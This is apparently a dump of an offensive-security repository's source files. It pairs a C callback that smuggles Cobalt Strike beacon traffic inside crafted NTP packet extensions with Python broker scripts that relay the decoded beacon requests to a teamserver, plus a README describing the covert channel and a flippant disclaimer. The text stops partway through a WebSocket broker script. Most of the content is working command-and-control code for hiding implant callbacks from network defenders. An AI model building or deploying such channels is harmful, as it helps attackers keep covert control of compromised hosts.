ways. It basically just wraps up the entire HTTP request up and ships it over to the broker however you want, which then sends it to the teamserver for real, to run as a HTTP beacon, totally transparent to the teamserver. 84 | 85 | There is a (technically) cleaner implementation that I tried that involved using a barebones Malleable C2 profile (I used the one from graphstrike, actually) and parsing out the different beacon data components as per the malleable spec inside the wininet hooks themselves (id, metadata, output etc). This would have made the callback blob sizes slightly smaller, but that implementation was abandoned as the codebase became unnecessarily messy due to the request parsing and also required use of that specific profile (which isnt that big a deal but is a big hacky). 86 | 87 | This implementation I felt was better because it is less dependent on the hacky malleable profile (technically, it still requires beacon response output to be sent in the response body, but thats the only requirement) and the code was 10x easier to read. 88 | 89 | Also worth noting that there is no obfuscation or encryption on the http request json other than base64 encoding - you are free to add your own, but since Beacon callbacks are already encrypted, technically no data is at risk of being decrypted. The worst that could happen is that the base64 blob if retrieved could be identified as a HTTP request. Do with that information what you will. 90 | 91 | ## Credits and references 92 | - https://github.com/rasta-mouse/Crystal-Kit (Original template for dev and testing) 93 | - https://github.com/RedSiege/GraphStrike (IAT hooking to implement a Graph channel) 94 | - https://github.com/benheise/TitanLdr (IAT hooking to implement DoH) 95 | - https://tradecraftgarden.org/ (framework used for crystal kit, and by extension this) 96 | 97 | Yes I used an LLM to write some of the code and comments, nobody likes writing docs or writing boilerplate json parsing in C from scratch. Sue me. 98 | 99 | # Disclaimer 100 | Usual disclaimer, I am not responsible for any crimes against humanity you may commit or nuclear way you may cause using this piece of poorly written code 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /examples/ntp/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #ifndef KERNEL32$GetProcessHeap 8 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 9 | #endif 10 | #ifndef KERNEL32$HeapAlloc 11 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 12 | #endif 13 | #ifndef KERNEL32$HeapFree 14 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 15 | #endif 16 | #ifndef KERNEL32$GetSystemTimeAsFileTime 17 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$GetSystemTimeAsFileTime(LPFILETIME); 18 | #endif 19 | #ifndef MSVCRT$printf 20 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 21 | #endif 22 | #ifndef MSVCRT$strlen 23 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 24 | #endif 25 | #ifndef WS2_32$WSAStartup 26 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD, LPWSADATA); 27 | #endif 28 | #ifndef WS2_32$socket 29 | DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket(int, int, int); 30 | #endif 31 | #ifndef WS2_32$setsockopt 32 | DECLSPEC_IMPORT int WSAAPI WS2_32$setsockopt(SOCKET, int, int, const char *, int); 33 | #endif 34 | #ifndef WS2_32$connect 35 | DECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET, const struct sockaddr *, int); 36 | #endif 37 | #ifndef WS2_32$send 38 | DECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET, const char *, int, int); 39 | #endif 40 | #ifndef WS2_32$recv 41 | DECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET, char *, int, int); 42 | #endif 43 | #ifndef WS2_32$closesocket 44 | DECLSPEC_IMPORT int WSAAPI WS2_32$closesocket(SOCKET); 45 | #endif 46 | #ifndef WS2_32$WSACleanup 47 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup(); 48 | #endif 49 | #ifndef WS2_32$htonl 50 | DECLSPEC_IMPORT u_long WSAAPI WS2_32$htonl(u_long); 51 | #endif 52 | #ifndef WS2_32$ntohl 53 | DECLSPEC_IMPORT u_long WSAAPI WS2_32$ntohl(u_long); 54 | #endif 55 | #ifndef WS2_32$htons 56 | DECLSPEC_IMPORT u_short WSAAPI WS2_32$htons(u_short); 57 | #endif 58 | #ifndef WS2_32$ntohs 59 | DECLSPEC_IMPORT u_short WSAAPI WS2_32$ntohs(u_short); 60 | #endif 61 | #ifndef WS2_32$inet_addr 62 | DECLSPEC_IMPORT unsigned long WSAAPI WS2_32$inet_addr(const char *cp); 63 | #endif 64 | 65 | #define BROKER_TIMEOUT_MS 5000 66 | #define MAX_DATAGRAM_SIZE 65535 67 | #define NTP_HEADER_LEN 48 68 | #define NTP_EXTENSION_TYPE 0xBEEF 69 | #define FILETIME_UNIX_EPOCH_SECS 11644473600ULL 70 | #define NTP_UNIX_EPOCH_SECS 2208988800ULL 71 | 72 | static WORD alignToDword(WORD length) 73 | { 74 | return (WORD)((length + 3) & ~3); 75 | } 76 | 77 | static void writeNtpTimestamp(BYTE *dest) 78 | { 79 | FILETIME ft; 80 | ULONGLONG filetimeTicks; 81 | ULONGLONG totalSeconds; 82 | ULONGLONG unixSeconds; 83 | ULONGLONG ntpSeconds; 84 | ULONGLONG fractionalTicks; 85 | DWORD fractional; 86 | DWORD secNetwork; 87 | DWORD fracNetwork; 88 | 89 | KERNEL32$GetSystemTimeAsFileTime(&ft); 90 | filetimeTicks = ((ULONGLONG)ft.dwHighDateTime << 32) | ft.dwLowDateTime; 91 | totalSeconds = filetimeTicks / 10000000ULL; 92 | unixSeconds = totalSeconds - FILETIME_UNIX_EPOCH_SECS; 93 | ntpSeconds = unixSeconds + NTP_UNIX_EPOCH_SECS; 94 | fractionalTicks = filetimeTicks % 10000000ULL; 95 | fractional = (DWORD)((fractionalTicks * 0x100000000ULL) / 10000000ULL); 96 | 97 | secNetwork = WS2_32$htonl((DWORD)ntpSeconds); 98 | fracNetwork = WS2_32$htonl(fractional); 99 | memcpy(dest, &secNetwork, sizeof(DWORD)); 100 | memcpy(dest + sizeof(DWORD), &fracNetwork, sizeof(DWORD)); 101 | } 102 | 103 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 104 | { 105 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 106 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 107 | SOCKET sock = INVALID_SOCKET; 108 | BOOL wsaStarted = FALSE; 109 | char *recvBuf = NULL; 110 | char *responseBuf = NULL; 111 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 112 | 113 | if (encodedRequest == NULL || reqLen == 0) { 114 | MSVCRT$printf("[customCallback] no request data to send\n"); 115 | return NULL; 116 | } 117 | 118 | if (host == NULL || host[0] == '\0') { 119 | MSVCRT$printf("[customCallback] missing host for broker connection\n"); 120 | return NULL; 121 | } 122 | 123 | WSADATA wsaData; 124 | int result = WS2_32$WSAStartup(MAKEWORD(2, 2), &wsaData); 125 | if (result != 0) { 126 | MSVCRT$printf("[customCallback] WSAStartup failed: %d\n", result); 127 | return NULL; 128 | } 129 | 130 | wsaStarted = TRUE; 131 | 132 | sock = WS2_32$socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 133 | if (sock == INVALID_SOCKET) { 134 | MSVCRT$printf("[customCallback] socket creation failed\n"); 135 | goto cleanup; 136 | } 137 | 138 | DWORD timeout = BROKER_TIMEOUT_MS; 139 | WS2_32$setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(timeout)); 140 | WS2_32$setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char *)&timeout, sizeof(timeout)); 141 | 142 | struct sockaddr_in brokerAddr; 143 | brokerAddr.sin_family = AF_INET; 144 | brokerAddr.sin_port = WS2_32$htons(port); 145 | brokerAddr.sin_addr.S_un.S_addr = WS2_32$inet_addr(host); 146 | 147 | if (WS2_32$connect(sock, (SOCKADDR *)&brokerAddr, sizeof(brokerAddr)) == SOCKET_ERROR) { 148 | MSVCRT$printf("[customCallback] failed to connect to broker %s:%u\n", host, (unsigned int)port); 149 | goto cleanup; 150 | } 151 | 152 | WORD payloadLen = (WORD)(sizeof(DWORD) + reqLen); 153 | WORD extensionLen = alignToDword((WORD)(payloadLen + sizeof(WORD) * 2)); 154 | DWORD packetLen = NTP_HEADER_LEN + extensionLen; 155 | 156 | char *packet = (char *)KERNEL32$HeapAlloc(hHeap, 0, packetLen); 157 | if (packet == NULL) { 158 | MSVCRT$printf("[customCallback] allocation failed for NTP packet\n"); 159 | goto cleanup; 160 | } 161 | 162 | memset(packet, 0, packetLen); 163 | packet[0] = (BYTE)((0 << 6) | (4 << 3) | 3); // LI = 0, VN = 4, Mode = 3 (client) 164 | packet[1] = 0; // stratum (unsynchronised) 165 | packet[2] = 6; // poll interval 166 | packet[3] = 0xEC; // precision (-20) 167 | memcpy(packet + 12, "INIT", 4); // reference ID 168 | writeNtpTimestamp((BYTE *)packet + 40); // transmit timestamp 169 | 170 | WORD *extension = (WORD *)(packet + NTP_HEADER_LEN); 171 | extension[0] = WS2_32$htons(NTP_EXTENSION_TYPE); 172 | extension[1] = WS2_32$htons(extensionLen); 173 | 174 | BYTE *valueStart = (BYTE *)(extension + 2); 175 | DWORD reqLenNetwork = WS2_32$htonl(reqLen); 176 | memcpy(valueStart, &reqLenNetwork, sizeof(DWORD)); 177 | memcpy(valueStart + sizeof(DWORD), encodedRequest, reqLen); 178 | 179 | int sent = WS2_32$send(sock, packet, (int)packetLen, 0); 180 | KERNEL32$HeapFree(hHeap, 0, packet); 181 | if (sent != (int)packetLen) { 182 | MSVCRT$printf("[customCallback] failed to send NTP request packet\n"); 183 | goto cleanup; 184 | } 185 | 186 | recvBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, MAX_DATAGRAM_SIZE); 187 | if (recvBuf == NULL) { 188 | MSVCRT$printf("[customCallback] allocation failed for receive buffer\n"); 189 | goto cleanup; 190 | } 191 | 192 | int received = WS2_32$recv(sock, recvBuf, MAX_DATAGRAM_SIZE, 0); 193 | if (received < (int)(NTP_HEADER_LEN + sizeof(WORD) * 2 + sizeof(DWORD))) { 194 | MSVCRT$printf("[customCallback] failed to receive valid NTP response\n"); 195 | goto cleanup; 196 | } 197 | 198 | WORD responseExtLen = WS2_32$ntohs(*(WORD *)(recvBuf + NTP_HEADER_LEN + sizeof(WORD))); 199 | WORD responseExtType = WS2_32$ntohs(*(WORD *)(recvBuf + NTP_HEADER_LEN)); 200 | if (responseExtType != NTP_EXTENSION_TYPE || responseExtLen < sizeof(WORD) * 2 + sizeof(DWORD)) { 201 | MSVCRT$printf("[customCallback] invalid NTP extension in response\n"); 202 | goto cleanup; 203 | } 204 | 205 | if ((int)(NTP_HEADER_LEN + responseExtLen) > received) { 206 | MSVCRT$printf("[customCallback] truncated NTP response received\n"); 207 | goto cleanup; 208 | } 209 | 210 | BYTE *respValue = (BYTE *)(recvBuf + NTP_HEADER_LEN + sizeof(WORD) * 2); 211 | DWORD responseLen = WS2_32$ntohl(*(DWORD *)respValue); 212 | DWORD available = responseExtLen - sizeof(WORD) * 2 - sizeof(DWORD); 213 | 214 | if (responseLen == 0 || responseLen > available) { 215 | MSVCRT$printf("[customCallback] invalid response length in NTP payload\n"); 216 | goto cleanup; 217 | } 218 | 219 | responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, responseLen + 1); 220 | if (responseBuf == NULL) { 221 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 222 | goto cleanup; 223 | } 224 | 225 | memcpy(responseBuf, respValue + sizeof(DWORD), responseLen); 226 | responseBuf[responseLen] = '\0'; 227 | 228 | MSVCRT$printf("[customCallback] received %lu bytes from NTP broker\n", (unsigned long)responseLen); 229 | 230 | cleanup: 231 | if (recvBuf != NULL) { 232 | KERNEL32$HeapFree(hHeap, 0, recvBuf); 233 | } 234 | if (sock != INVALID_SOCKET) { 235 | WS2_32$closesocket(sock); 236 | } 237 | if (wsaStarted) { 238 | WS2_32$WSACleanup(); 239 | } 240 | 241 | return responseBuf; 242 | } 243 | -------------------------------------------------------------------------------- /winhttp/broker.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import ssl 7 | import time 8 | from pathlib import Path 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | REQUEST_FILE = Path("request.txt") 16 | RESPONSE_FILE = Path("response.txt") 17 | POLL_INTERVAL = 0.5 # seconds 18 | 19 | logging.basicConfig( 20 | level=logging.INFO, 21 | format="%(asctime)s [%(levelname)s] %(message)s", 22 | ) 23 | 24 | CLI_HOST: Optional[str] = None 25 | CLI_PORT: Optional[int] = None 26 | 27 | 28 | # --------------------------------------------------------------------------- 29 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 30 | # --------------------------------------------------------------------------- 31 | 32 | def decode_request(encoded_request: str) -> Dict[str, Any]: 33 | """ 34 | Decode the base64-encoded JSON request into a Python dictionary. 35 | """ 36 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 37 | decoded_bytes = base64.b64decode(encoded_request) 38 | decoded_str = decoded_bytes.decode("utf-8") 39 | logging.debug("Decoded request JSON: %s", decoded_str) 40 | return json.loads(decoded_str) 41 | 42 | 43 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 44 | """ 45 | Build a headers dictionary from a list of 'Name: Value' strings. 46 | """ 47 | headers: Dict[str, str] = {} 48 | if not header_lines: 49 | logging.debug("No headers provided in request.") 50 | return headers 51 | 52 | for line in header_lines: 53 | if not line: 54 | continue 55 | if ":" in line: 56 | name, value = line.split(":", 1) 57 | name = name.strip() 58 | value = value.strip() 59 | headers[name] = value 60 | logging.debug("Parsed header: %s: %s", name, value) 61 | else: 62 | logging.warning("Skipping malformed header line (no colon found): %r", line) 63 | 64 | logging.info("Built %d request headers.", len(headers)) 65 | return headers 66 | 67 | 68 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 69 | """ 70 | Send an HTTP/HTTPS request based on the decoded request dictionary. 71 | """ 72 | scheme = request.get("scheme", "http") 73 | host = CLI_HOST 74 | port = CLI_PORT 75 | path = request.get("path", "/") 76 | method = request.get("method", "GET") 77 | headers = build_headers(request.get("headers")) 78 | body_b64 = request.get("body", "") 79 | body = base64.b64decode(body_b64) if body_b64 else None 80 | 81 | if not host: 82 | raise ValueError("Request 'host' field is required.") 83 | 84 | if port is None: 85 | port = 443 if scheme == "https" else 80 86 | 87 | logging.info( 88 | "Preparing %s request to %s://%s:%s%s", 89 | method, 90 | scheme, 91 | host, 92 | port, 93 | path, 94 | ) 95 | logging.debug("Request headers: %r", headers) 96 | if body is not None: 97 | logging.info("Request has a body (%d bytes).", len(body)) 98 | 99 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 100 | 101 | if scheme == "https": 102 | logging.debug("Creating HTTPS connection with unverified SSL context.") 103 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 104 | else: 105 | logging.debug("Creating HTTP connection.") 106 | conn = connection_cls(host, port, timeout=10) 107 | 108 | try: 109 | conn.request(method, path, body=body, headers=headers) 110 | logging.info("Request sent, awaiting response...") 111 | resp = conn.getresponse() 112 | resp_body = resp.read() 113 | logging.info( 114 | "Received response: %s %s (%d bytes).", 115 | resp.status, 116 | resp.reason, 117 | len(resp_body), 118 | ) 119 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 120 | logging.debug("Response headers: %r", resp_headers_list) 121 | finally: 122 | conn.close() 123 | logging.debug("Connection to %s:%s closed.", host, port) 124 | 125 | return { 126 | "status_code": resp.status, 127 | "status_text": resp.reason, 128 | "headers": resp_headers_list, 129 | "body": base64.b64encode(resp_body).decode("ascii"), 130 | } 131 | 132 | 133 | def encode_response(response_obj: Dict[str, Any]) -> str: 134 | """ 135 | Encode a response dictionary as base64-encoded JSON. 136 | """ 137 | json_bytes = json.dumps(response_obj).encode("utf-8") 138 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 139 | return base64.b64encode(json_bytes).decode("ascii") 140 | 141 | 142 | def process_encoded_request(encoded_request: str) -> str: 143 | """ 144 | High-level core processing function. 145 | 146 | Takes raw encoded request data and returns raw encoded response data. 147 | 148 | Steps: 149 | 1. Decode base64 → JSON → dict 150 | 2. Perform HTTP/HTTPS request based on dict 151 | 3. Encode response dict → JSON → base64 152 | """ 153 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 154 | request_obj = decode_request(encoded_request) 155 | logging.debug("Decoded request object: %r", request_obj) 156 | 157 | response_obj = send_http_request(request_obj) 158 | encoded_response = encode_response(response_obj) 159 | logging.info("Encoded response (length: %d).", len(encoded_response)) 160 | 161 | return encoded_response 162 | 163 | 164 | # --------------------------------------------------------------------------- 165 | # handle a callback 166 | # 167 | # This function is what you modify! 168 | # 169 | # --------------------------------------------------------------------------- 170 | 171 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 172 | """ 173 | Handle a single callback cycle. 174 | 175 | - Obtain incoming raw data (here: from REQUEST_FILE). 176 | - Call `process_func` with that data to handle decode/HTTP/encode. 177 | - Send the resulting raw data back (here: write to RESPONSE_FILE). 178 | 179 | Returns: 180 | True if a request was found and processed, 181 | False if there was nothing to do or an error occurred before processing. 182 | """ 183 | try: 184 | 185 | # --- Obtain the data (transport-specific, inline) --- 186 | if not REQUEST_FILE.exists(): 187 | logging.debug("Request file %s does not exist.", REQUEST_FILE) 188 | return False 189 | 190 | raw_data = REQUEST_FILE.read_text(encoding="utf-8") 191 | REQUEST_FILE.write_text("", encoding="utf-8") 192 | data = raw_data.strip() 193 | 194 | if not data: 195 | logging.debug("Request file %s was empty after stripping.", REQUEST_FILE) 196 | return False 197 | 198 | logging.info("Read request from %s (%d bytes before stripping).", REQUEST_FILE, len(raw_data)) 199 | encoded_request = data 200 | 201 | # This is what you call to send data to the teamserver 202 | # you must call process_func on the encoded request to get 203 | # the response 204 | encoded_response = process_func(encoded_request) 205 | 206 | # --- Send data back (transport-specific, inline) --- 207 | RESPONSE_FILE.write_text(encoded_response, encoding="utf-8") 208 | logging.info("Wrote response to %s (length: %d).", RESPONSE_FILE, len(encoded_response)) 209 | 210 | return True 211 | 212 | except Exception as exc: # noqa: BLE001 213 | logging.exception("Error in handleCallback: %s", exc) 214 | try: 215 | RESPONSE_FILE.write_text("", encoding="utf-8") 216 | logging.debug("Cleared response file %s due to error.", RESPONSE_FILE) 217 | except Exception as write_exc: # noqa: BLE001 218 | logging.error("Failed to clear response file %s: %s", RESPONSE_FILE, write_exc) 219 | return False 220 | 221 | 222 | # --------------------------------------------------------------------------- 223 | # Entry point 224 | # --------------------------------------------------------------------------- 225 | 226 | def main() -> None: 227 | """ 228 | Entry point. Repeatedly calls handleCallback to process requests. 229 | """ 230 | global CLI_HOST, CLI_PORT 231 | 232 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 233 | parser.add_argument( 234 | "--host", 235 | dest="host", 236 | required=True, 237 | help="Destination host for outgoing requests (required).", 238 | ) 239 | parser.add_argument( 240 | "--port", 241 | dest="port", 242 | type=int, 243 | required=True, 244 | help="Destination port for outgoing requests (required).", 245 | ) 246 | args = parser.parse_args() 247 | 248 | CLI_HOST = args.host or CLI_HOST 249 | CLI_PORT = args.port if args.port is not None else CLI_PORT 250 | 251 | 252 | logging.info("Teamserver host: %s", CLI_HOST) 253 | 254 | logging.info("Teamserver port: %s", CLI_PORT) 255 | 256 | logging.info( 257 | "Starting HTTP bridge. Polling %s every %.2f seconds.", 258 | REQUEST_FILE, 259 | POLL_INTERVAL, 260 | ) 261 | 262 | while True: 263 | handled = handleCallback(process_encoded_request) 264 | if not handled: 265 | time.sleep(POLL_INTERVAL) 266 | 267 | 268 | if __name__ == "__main__": 269 | main() 270 | -------------------------------------------------------------------------------- /wininet/broker.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import ssl 7 | import time 8 | from pathlib import Path 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | REQUEST_FILE = Path("request.txt") 16 | RESPONSE_FILE = Path("response.txt") 17 | POLL_INTERVAL = 0.5 # seconds 18 | 19 | logging.basicConfig( 20 | level=logging.INFO, 21 | format="%(asctime)s [%(levelname)s] %(message)s", 22 | ) 23 | 24 | CLI_HOST: Optional[str] = None 25 | CLI_PORT: Optional[int] = None 26 | 27 | 28 | # --------------------------------------------------------------------------- 29 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 30 | # --------------------------------------------------------------------------- 31 | 32 | def decode_request(encoded_request: str) -> Dict[str, Any]: 33 | """ 34 | Decode the base64-encoded JSON request into a Python dictionary. 35 | """ 36 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 37 | decoded_bytes = base64.b64decode(encoded_request) 38 | decoded_str = decoded_bytes.decode("utf-8") 39 | logging.debug("Decoded request JSON: %s", decoded_str) 40 | return json.loads(decoded_str) 41 | 42 | 43 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 44 | """ 45 | Build a headers dictionary from a list of 'Name: Value' strings. 46 | """ 47 | headers: Dict[str, str] = {} 48 | if not header_lines: 49 | logging.debug("No headers provided in request.") 50 | return headers 51 | 52 | for line in header_lines: 53 | if not line: 54 | continue 55 | if ":" in line: 56 | name, value = line.split(":", 1) 57 | name = name.strip() 58 | value = value.strip() 59 | headers[name] = value 60 | logging.debug("Parsed header: %s: %s", name, value) 61 | else: 62 | logging.warning("Skipping malformed header line (no colon found): %r", line) 63 | 64 | logging.info("Built %d request headers.", len(headers)) 65 | return headers 66 | 67 | 68 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 69 | """ 70 | Send an HTTP/HTTPS request based on the decoded request dictionary. 71 | """ 72 | scheme = request.get("scheme", "http") 73 | host = CLI_HOST 74 | port = CLI_PORT 75 | path = request.get("path", "/") 76 | method = request.get("method", "GET") 77 | headers = build_headers(request.get("headers")) 78 | body_b64 = request.get("body", "") 79 | body = base64.b64decode(body_b64) if body_b64 else None 80 | 81 | if not host: 82 | raise ValueError("Request 'host' field is required.") 83 | 84 | if port is None: 85 | port = 443 if scheme == "https" else 80 86 | 87 | logging.info( 88 | "Preparing %s request to %s://%s:%s%s", 89 | method, 90 | scheme, 91 | host, 92 | port, 93 | path, 94 | ) 95 | logging.debug("Request headers: %r", headers) 96 | if body is not None: 97 | logging.info("Request has a body (%d bytes).", len(body)) 98 | 99 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 100 | 101 | if scheme == "https": 102 | logging.debug("Creating HTTPS connection with unverified SSL context.") 103 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 104 | else: 105 | logging.debug("Creating HTTP connection.") 106 | conn = connection_cls(host, port, timeout=10) 107 | 108 | try: 109 | conn.request(method, path, body=body, headers=headers) 110 | logging.info("Request sent, awaiting response...") 111 | resp = conn.getresponse() 112 | resp_body = resp.read() 113 | logging.info( 114 | "Received response: %s %s (%d bytes).", 115 | resp.status, 116 | resp.reason, 117 | len(resp_body), 118 | ) 119 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 120 | logging.debug("Response headers: %r", resp_headers_list) 121 | finally: 122 | conn.close() 123 | logging.debug("Connection to %s:%s closed.", host, port) 124 | 125 | return { 126 | "status_code": resp.status, 127 | "status_text": resp.reason, 128 | "headers": resp_headers_list, 129 | "body": base64.b64encode(resp_body).decode("ascii"), 130 | } 131 | 132 | 133 | def encode_response(response_obj: Dict[str, Any]) -> str: 134 | """ 135 | Encode a response dictionary as base64-encoded JSON. 136 | """ 137 | json_bytes = json.dumps(response_obj).encode("utf-8") 138 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 139 | return base64.b64encode(json_bytes).decode("ascii") 140 | 141 | 142 | def process_encoded_request(encoded_request: str) -> str: 143 | """ 144 | High-level core processing function. 145 | 146 | Takes raw encoded request data and returns raw encoded response data. 147 | 148 | Steps: 149 | 1. Decode base64 → JSON → dict 150 | 2. Perform HTTP/HTTPS request based on dict 151 | 3. Encode response dict → JSON → base64 152 | """ 153 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 154 | request_obj = decode_request(encoded_request) 155 | logging.debug("Decoded request object: %r", request_obj) 156 | 157 | response_obj = send_http_request(request_obj) 158 | encoded_response = encode_response(response_obj) 159 | logging.info("Encoded response (length: %d).", len(encoded_response)) 160 | 161 | return encoded_response 162 | 163 | 164 | # --------------------------------------------------------------------------- 165 | # handle a callback 166 | # 167 | # This function is what you modify! 168 | # 169 | # --------------------------------------------------------------------------- 170 | 171 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 172 | """ 173 | Handle a single callback cycle. 174 | 175 | - Obtain incoming raw data (here: from REQUEST_FILE). 176 | - Call `process_func` with that data to handle decode/HTTP/encode. 177 | - Send the resulting raw data back (here: write to RESPONSE_FILE). 178 | 179 | Returns: 180 | True if a request was found and processed, 181 | False if there was nothing to do or an error occurred before processing. 182 | """ 183 | try: 184 | 185 | # --- Obtain the data (transport-specific, inline) --- 186 | if not REQUEST_FILE.exists(): 187 | logging.debug("Request file %s does not exist.", REQUEST_FILE) 188 | return False 189 | 190 | raw_data = REQUEST_FILE.read_text(encoding="utf-8") 191 | REQUEST_FILE.write_text("", encoding="utf-8") 192 | data = raw_data.strip() 193 | 194 | if not data: 195 | logging.debug("Request file %s was empty after stripping.", REQUEST_FILE) 196 | return False 197 | 198 | logging.info("Read request from %s (%d bytes before stripping).", REQUEST_FILE, len(raw_data)) 199 | encoded_request = data 200 | 201 | # This is what you call to send data to the teamserver 202 | # you must call process_func on the encoded request to get 203 | # the response 204 | encoded_response = process_func(encoded_request) 205 | 206 | # --- Send data back (transport-specific, inline) --- 207 | RESPONSE_FILE.write_text(encoded_response, encoding="utf-8") 208 | logging.info("Wrote response to %s (length: %d).", RESPONSE_FILE, len(encoded_response)) 209 | 210 | return True 211 | 212 | except Exception as exc: # noqa: BLE001 213 | logging.exception("Error in handleCallback: %s", exc) 214 | try: 215 | RESPONSE_FILE.write_text("", encoding="utf-8") 216 | logging.debug("Cleared response file %s due to error.", RESPONSE_FILE) 217 | except Exception as write_exc: # noqa: BLE001 218 | logging.error("Failed to clear response file %s: %s", RESPONSE_FILE, write_exc) 219 | return False 220 | 221 | 222 | # --------------------------------------------------------------------------- 223 | # Entry point 224 | # --------------------------------------------------------------------------- 225 | 226 | def main() -> None: 227 | """ 228 | Entry point. Repeatedly calls handleCallback to process requests. 229 | """ 230 | global CLI_HOST, CLI_PORT 231 | 232 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 233 | parser.add_argument( 234 | "--host", 235 | dest="host", 236 | required=True, 237 | help="Destination host for outgoing requests (required).", 238 | ) 239 | parser.add_argument( 240 | "--port", 241 | dest="port", 242 | type=int, 243 | required=True, 244 | help="Destination port for outgoing requests (required).", 245 | ) 246 | args = parser.parse_args() 247 | 248 | CLI_HOST = args.host or CLI_HOST 249 | CLI_PORT = args.port if args.port is not None else CLI_PORT 250 | 251 | 252 | logging.info("Teamserver host: %s", CLI_HOST) 253 | 254 | logging.info("Teamserver port: %s", CLI_PORT) 255 | 256 | logging.info( 257 | "Starting HTTP bridge. Polling %s every %.2f seconds.", 258 | REQUEST_FILE, 259 | POLL_INTERVAL, 260 | ) 261 | 262 | while True: 263 | handled = handleCallback(process_encoded_request) 264 | if not handled: 265 | time.sleep(POLL_INTERVAL) 266 | 267 | 268 | if __name__ == "__main__": 269 | main() 270 | -------------------------------------------------------------------------------- /examples/websockets/broker_websocket.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import asyncio 3 | import base64 4 | import http.client 5 | import json 6 | import logging 7 | import ssl 8 | from functools import partial 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | import websockets 12 | 13 | # --------------------------------------------------------------------------- 14 | # Configuration 15 | # --------------------------------------------------------------------------- 16 | 17 | logging.basicConfig( 18 | level=logging.INFO, 19 | format="%(asctime)s [%(levelname)s] %(message)s", 20 | ) 21 | 22 | # These are all set from CLI args in main() 23 | CLI_HOST: Optional[str] = None # outbound HTTP(S) host (from --host) 24 | CLI_PORT: Optional[int] = None # outbound HTTP(S) port (from --port) 25 | LISTEN_HOST: Optional[str] = None # local WebSocket listen host (from --listen-host) 26 | LISTEN_PORT: Optional[int] = None # local WebSocket listen port (from --listen-port) 27 | 28 | 29 | # --------------------------------------------------------------------------- 30 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 31 | # --------------------------------------------------------------------------- 32 | 33 | def decode_request(encoded_request: str) -> Dict[str, Any]: 34 | """Decode the base64-encoded JSON request into a Python dictionary.""" 35 | 36 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 37 | decoded_bytes = base64.b64decode(encoded_request) 38 | decoded_str = decoded_bytes.decode("utf-8") 39 | logging.debug("Decoded request JSON: %s", decoded_str) 40 | return json.loads(decoded_str) 41 | 42 | 43 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 44 | """Build a headers dictionary from a list of 'Name: Value' strings.""" 45 | 46 | headers: Dict[str, str] = {} 47 | if not header_lines: 48 | logging.debug("No headers provided in request.") 49 | return headers 50 | 51 | for line in header_lines: 52 | if not line: 53 | continue 54 | if ":" in line: 55 | name, value = line.split(":", 1) 56 | headers[name.strip()] = value.strip() 57 | else: 58 | logging.warning("Skipping malformed header line (no colon found): %r", line) 59 | 60 | logging.info("Built %d request headers.", len(headers)) 61 | return headers 62 | 63 | 64 | def send_http_request(request: 